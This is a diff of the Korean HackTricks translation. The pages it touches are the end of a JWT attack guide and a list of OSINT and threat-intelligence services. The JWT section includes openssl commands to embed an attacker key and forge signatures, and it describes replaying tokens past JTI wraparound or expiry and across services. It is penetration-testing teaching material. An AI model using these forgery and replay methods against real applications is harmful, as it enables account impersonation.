@ -208,7 +206,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
다음은 새 개인/공개 키를 생성하고 새 공개 키를 토큰 내에 삽입하여 새 서명을 생성하는 것이 가능합니다:
|
||||
다음은 새 개인/공개 키를 생성하고 새 공개 키를 토큰 내에 포함시킨 후 이를 사용하여 새 서명을 생성하는 것이 가능합니다:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -226,14 +224,14 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
```
|
||||
### ES256: 동일한 논스로 개인 키 노출
|
||||
|
||||
어떤 애플리케이션이 ES256을 사용하고 두 개의 JWT를 생성하기 위해 동일한 논스를 사용한다면, 개인 키를 복원할 수 있습니다.
|
||||
일부 애플리케이션이 ES256을 사용하고 두 개의 JWT를 생성하기 위해 동일한 논스를 사용하는 경우, 개인 키를 복원할 수 있습니다.
|
||||
|
||||
여기 예시가 있습니다: [ECDSA: 동일한 논스를 사용하여 개인 키 노출 (SECP256k1과 함께)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이를 사용하여 토큰이 재생되는 것을 방지할 수 있습니다.\
|
||||
그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보세요. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시킨다면 이를 악용하여 **요청을 재생**할 수 있습니다 (각 성공적인 재생 사이에 10000개의 요청을 보내야 함).
|
||||
JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이를 사용하여 토큰 재전송을 방지할 수 있습니다.\
|
||||
그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보십시오. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키는 경우, 이를 악용하여 **요청 재전송**을 할 수 있습니다 (각 성공적인 재전송 사이에 10000개의 요청을 보내야 함).
|
||||
|
||||
### JWT 등록된 클레임
|
||||
|
||||
|
@ -241,17 +239,17 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
|
|||
|
||||
### 기타 공격
|
||||
|
||||
**교차 서비스 릴레이 공격**
|
||||
**크로스-서비스 릴레이 공격**
|
||||
|
||||
일부 웹 애플리케이션은 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 수락한 토큰이 다른 클라이언트에 의해 수락된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT의 발급 또는 갱신이 관찰된 경우, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 가입하는 가능성을 조사해야 합니다. 그런 다음 얻은 토큰을 대상에 대한 요청으로 재생해보는 시도를 해야 합니다.
|
||||
일부 웹 애플리케이션은 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 수락한 토큰이 다른 클라이언트에 의해 수락된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT의 발급 또는 갱신이 관찰된 경우, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 가입하는 가능성을 조사해야 합니다. 그런 다음 획득한 토큰을 대상에 대한 요청으로 재전송해 토큰이 수락되는지 확인해야 합니다.
|
||||
|
||||
* 토큰이 수락된다면 어떤 사용자의 계정을 위조할 수 있는 심각한 문제가 있을 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트 권한이 필요할 수 있음을 유의해야 합니다.
|
||||
* 토큰이 수락된다면 어떤 사용자의 계정을 스푸핑할 수 있는 심각한 문제가 발생할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트 권한이 필요할 수 있음을 유의해야 합니다.
|
||||
|
||||
**토큰 만료 확인**
|
||||
|
||||
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 주의 깊은 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재생할 경우 해당 사용자를 흉내낼 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재생 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램이 이 값을 처리하고 만료된 토큰을 거부하기 위한 관련 검사를 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후에 재생하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인(UTC 타임스탬프)은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
|
||||
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 주의 깊은 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재전송하는 경우, 해당 사용자를 흉내낼 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램이 이 값을 처리하고 만료된 토큰을 거부하기 위한 관련 검사를 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 경과한 후에 재전송하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인(UTC 타임스탬프)은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
|
||||
|
||||
* 응용 프로그램이 토큰을 여전히 유효성 검사하는 경우, 토큰이 만료되지 않을 수 있다는 것을 시사할 수 있습니다.
|
||||
* 응용 프로그램이 여전히 토큰을 유효성 검사하는 경우, 토큰이 절대 만료되지 않을 수 있음을 시사할 수 있으므로 보안 위험이 존재할 수 있습니다.
|
||||
|
||||
### 도구
|
||||
|
||||
|
@ -259,20 +257,20 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있다면서 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있다면, 해킹할 수 없는 것을 해킹하십시오 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 되기까지의 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**받으려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 팔로우하세요.
|
||||
* 여러분의 해킹 요령을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,152 +1,143 @@
|
|||
# 온라인 플랫폼과 API
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 탐색하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
의심스러운/악의적인 활동과 관련된 IP를 확인할 수 있습니다. 완전히 무료입니다.
|
||||
|
||||
의심스러운/악성 활동과 관련된 IP를 확인할 수 있습니다. 완전히 무료입니다.
|
||||
## [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
IP 주소가 계정을 등록하는 봇과 관련이 있는지 확인할 수 있습니다. 초기에는 무료입니다.
|
||||
|
||||
IP 주소가 계정을 등록하는 봇과 관련이 있는지 확인할 수 있습니다. 또한 사용자 이름과 이메일을 확인할 수도 있습니다. 초기에는 무료입니다.
|
||||
## [Hunter](https://hunter.io/)
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
|
||||
이메일을 찾고 확인할 수 있습니다.
|
||||
일부 무료 API 요청이 있으며, 더 많은 기능을 사용하려면 지불해야 합니다.
|
||||
이메일을 찾고 확인할 수 있습니다.\
|
||||
일부 무료 API 요청이 무료이며, 더 많은 요청을 하려면 지불해야 합니다.\
|
||||
상업적인가요?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
## [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
IP와 도메인과 관련된 악성 활동을 찾을 수 있습니다. 무료입니다.
|
||||
IP 및 도메인과 관련된 악의적인 활동을 찾을 수 있습니다. 무료입니다.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
## [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
이메일(다른 플랫폼의 프로필), 도메인(기본 회사 정보, 메일 및 작업하는 사람들), 회사(메일로부터 회사 정보 가져오기)와 관련된 개인 데이터를 찾을 수 있습니다.
|
||||
모든 기능에 액세스하려면 지불해야 합니다.
|
||||
이메일(다른 플랫폼의 프로필), 도메인(기본 회사 정보, 메일 및 작업 중인 사람들) 및 회사(메일로부터 회사 정보 가져오기)에 관련된 개인 데이터를 찾을 수 있습니다.\
|
||||
모든 기능에 액세스하려면 지불해야 합니다.\
|
||||
상업적인가요?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
## [BuiltWith](https://builtwith.com/)
|
||||
|
||||
웹에서 사용되는 기술을 확인할 수 있습니다. 비싸요...
|
||||
웹에서 사용되는 기술을 찾을 수 있습니다. 비싸요...\
|
||||
상업적인가요?
|
||||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
## [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
호스트(도메인 또는 IP)가 의심스러운/악성 활동과 관련이 있는지 확인할 수 있습니다. 일부 무료 API 액세스가 있습니다.
|
||||
호스트(도메인 또는 IP)가 의심스러운/악의적인 활동과 관련이 있는지 확인할 수 있습니다. 일부 무료 API 액세스가 있습니다.\
|
||||
상업적인가요?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
## [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
호스트(도메인 또는 IP)가 의심스러운/악성 활동과 관련이 있는지 확인할 수 있습니다. 일부 무료 API 액세스가 있습니다.
|
||||
호스트(도메인 또는 IP)가 의심스러운/악의적인 활동과 관련이 있는지 확인할 수 있습니다. 일부 무료 API 액세스가 있습니다.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
## [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
호스트가 스팸 활동과 관련이 있는지 여부를 나타냅니다. 일부 무료 API 액세스가 있습니다.
|
||||
호스트가 스팸 활동과 관련이 있는지 나타냅니다. 일부 무료 API 액세스가 있습니다.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
## [mywot](https://www.mywot.com/)
|
||||
|
||||
의견과 기타 지표를 기반으로 도메인이 의심스러운/악성 정보와 관련이 있는지 확인합니다.
|
||||
의견 및 기타 지표를 기반으로 도메인이 의심스러운/악의적인 정보와 관련이 있는지 확인합니다.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
## [ipinfo](https://ipinfo.io/)
|
||||
|
||||
IP 주소에서 기본 정보를 얻을 수 있습니다. 월 최대 100,000회 테스트할 수 있습니다.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
## [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
이 플랫폼은 도메인 및 IP 주소에 대한 정보를 제공합니다. IP 내부의 도메인이나 도메인 서버 내부의 도메인, 이메일 소유 도메인(관련 도메인 찾기), 도메인의 IP 기록(CloudFlare 뒤의 호스트 찾기), 특정 네임서버를 사용하는 모든 도메인 등...
|
||||
이 플랫폼은 도메인 및 IP 주소에 대한 정보를 제공합니다. IP 뒤에 있는 도메인이나 도메인 서버 내의 도메인, 이메일 소유 도메인(관련 도메인 찾기), 도메인의 IP 이력(CloudFlare 뒤의 호스트 찾기), 이름 서버를 사용하는 모든 도메인 등...\
|
||||
일부 무료 액세스가 있습니다.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
## [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
이메일, 도메인 또는 회사 이름으로 검색하고 관련된 "개인" 정보를 검색할 수 있습니다. 또한 이메일을 확인할 수도 있습니다. 일부 무료 액세스가 있습니다.
|
||||
이메일, 도메인 또는 회사 이름으로 검색하고 관련된 "개인" 정보를 검색할 수 있습니다. 또한 이메일을 확인할 수 있습니다. 일부 무료 액세스가 있습니다.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
## [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
도메인 및 IP에 대한 많은 정보를 무료/커뮤니티 버전에서도 제공합니다.
|
||||
도메인 및 IP에 대한 많은 정보를 무료/커뮤니티 버전에서도 얻을 수 있습니다.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
## [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
도메인, IP 및 이메일을 검색하고 덤프에서 정보를 가져올 수 있습니다. 일부 무료 액세스가 있습니다.
|
||||
도메인, IP 및 이메일을 검색하고 덤프에서 정보를 얻을 수 있습니다. 일부 무료 액세스가 있습니다.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
IP로 검색하고 의심스러운 활동과 관련된 정보를 수집할 수 있습니다. 일부 무료 액세스가 있습니다.
|
||||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
## [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
IP 또는 IP 범위로 검색하고 인터넷을 스캔하는 IP에 대한 정보를 얻을 수 있습니다. 15일 동안 무료 액세스할 수 있습니다.
|
||||
IP 또는 IP 범위로 검색하여 인터넷을 스캔하는 IP에 대한 정보를 얻을 수 있습니다. 15일 무료 액세스가 있습니다.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
## [Shodan](https://www.shodan.io/)
|
||||
|
||||
IP 주소의 스캔 정보를 얻을 수 있습니다. 일부 무료 API 액세스가 있습니다.
|
||||
|
||||
# [Censys](https://censys.io/)
|
||||
## [Censys](https://censys.io/)
|
||||
|
||||
Shodan과 매우 유사합니다.
|
||||
Shodan과 매우 유사합니다
|
||||
|
||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
## [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
|
||||
키워드로 검색하여 열린 S3 버킷을 찾을 수 있습니다.
|
||||
|
||||
# [Dehashed](https://www.dehashed.com/data)
|
||||
## [Dehashed](https://www.dehashed.com/data)
|
||||
|
||||
이메일 및 도메인의 유출된 자격 증명을 찾을 수 있습니다.
|
||||
이메일 및 도메인의 유출된 자격 증명을 찾을 수 있습니다.\
|
||||
상업적인가요?
|
||||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
## [psbdmp](https://psbdmp.ws/)
|
||||
|
||||
이메일이 나타난 곳의 pastebin을 검색할 수 있습니다.
|
||||
이메일이 나타난 과거의 pastebin을 검색할 수 있습니다.\
|
||||
상업적인가요?
|
||||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
## [emailrep.io](https://emailrep.io/key)
|
||||
|
||||
메일의 평판을 얻을 수 있습니다.
|
||||
메일의 평판을 얻을 수 있습니다.\
|
||||
상업적인가요?
|
||||
|
||||
# [ghostproject](https://ghostproject.fr/)
|
||||
## [ghostproject](https://ghostproject.fr/)
|
||||
|
||||
유출된 이메일에서 비밀번호를 얻을 수 있습니다.
|
||||
유출된 이메일로부터 비밀번호를 얻을 수 있습니다.\
|
||||
상업적인가요?
|
||||
|
||||
# [Binaryedge](https://www.binaryedge.io/)
|
||||
## [Binaryedge](https://www.binaryedge.io/)
|
||||
|
||||
IP에서 흥미로운 정보를 얻을 수 있습니다.
|
||||
IP에서 흥미로운 정보를 얻을 수 있습니다
|
||||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
## [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
도메인 및 이메일로 검색하여 유출되었는지와 비밀번호를 확인할 수 있습니다.
|
||||
도메인 및 이메일로 검색하여 유출되었는지 및 비밀번호를 확인할 수 있습니다.\
|
||||
상업적인가요?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(상업용 도구인가요?\)
|
||||
### [IP2Location.io](https://www.ip2location.io/)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(상업용 도구인가요?\)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(상업용 도구인가요?\)
|
||||
IP 지리 위치, 데이터 센터, ASN 및 VPN 정보를 감지합니다. 매월 무료 30,000개의 쿼리를 제공합니다.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)(상업용 도구인가요?)
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) (상업용 도구인가요?)
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 탐색하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) (상업용 도구인가요?)
|
||||
|
|
Loading…
Reference in a new issue